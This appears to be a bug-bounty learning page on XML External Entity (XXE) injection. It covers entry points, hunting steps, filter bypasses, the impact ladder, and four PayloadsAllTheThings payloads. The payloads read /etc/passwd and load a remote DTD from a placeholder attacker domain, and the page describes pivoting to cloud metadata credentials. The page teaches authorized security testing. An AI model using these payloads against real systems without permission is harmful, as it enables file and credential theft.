Payloads.
Pick a vulnerability class, learn how to hunt it step by step, grab the payloads that actually work. Curated from PayloadsAllTheThings — the full section is linked under every class.
XXE
XML External Entity injection — the parser fetches your declared entities: local files, internal services, or out-of-band callbacks. Wherever XML is parsed from user input, entity declarations turn the parser into a file reader.
Severity guide
High on file reads (configs, credentials); critical when metadata credentials or internal services are reachable; OOB-only exfil still scores high.
Where to look
entry points to test first01
XML API endpoints
Content-Type: application/xml, SOAP services, RSS/Atom importers.
02
Office file uploads
DOCX/XLSX/SVG are XML inside — unzip-and-parse pipelines process your embedded XML.
03
SAML flows
SSO assertions are XML — SAML XXE is a known enterprise bug class.
04
Config import/export
System settings and data import features accepting XML files.
05
PDF/image converters
Server-side processors that parse XML metadata inside uploaded files.
How to hunt it
in order, start to finishFind XML-accepting inputs
API endpoints (Content-Type: application/xml), SAML, RSS importers, Office-file uploads (they're XML inside).
Define and use an entity
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> then reference &xxe; — file content appearing in the response is the classic proof.
Go out-of-band when blind
No reflection? Point the entity at your server — the DNS/HTTP callback proves the parser fetches external entities.
Try error-based reads
When responses are opaque, wrap the file read inside a broken entity so the file content lands in the parser's error message.
Escalate via internal services
Entity → SSRF: hit cloud metadata (169.254.169.254) or internal ports through the parser. Metadata credentials = critical.
Filter & validation bypasses
when your first tries get blocked- 01DOCTYPE blocked? Try UTF-16 encoding of the whole payload — some filters only scan UTF-8 bytes.
- 02SYSTEM keyword filtered? PUBLIC declarations work identically for entity loading.
- 03Entity refs stripped? Parameter entities (%xx;) inside the DTD still fetch external resources.
- 04PHP base64 filter blocked? CDATA wrappers and error-based extraction both bypass output filters.
Impact ladder
what makes it payable- 01Arbitrary file read — configs, credentials, /etc/passwd.
- 02SSRF through the parser — internal services and cloud metadata.
- 03Credential extraction — source code and secrets via php://filter-style reads.
- 04DoS via entity expansion (billion laughs) — the legacy variant.
Payloads
4 · from PayloadsAllTheThings<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>The canonical file-read — /etc/passwd echoed through the entity.
<!DOCTYPE replace [<!ENTITY example "Doe">]>Internal entity baseline — confirms entities are processed at all.
<!ENTITY file SYSTEM "file:///etc/passwd">The SYSTEM declaration — the part that makes the parser fetch a local file.
<!ENTITY % remote SYSTEM "http://[ATTACKER.DOMAIN.TLD]/x.dtd">%remote;Parameter-entity OOB — the callback proves blind XXE.
Payload strings, code and technical terms are shown in English on purpose — payloads must be copied exactly as published.
Payloads originate from PayloadsAllTheThings (MIT) — use them only on programs you're authorized to test.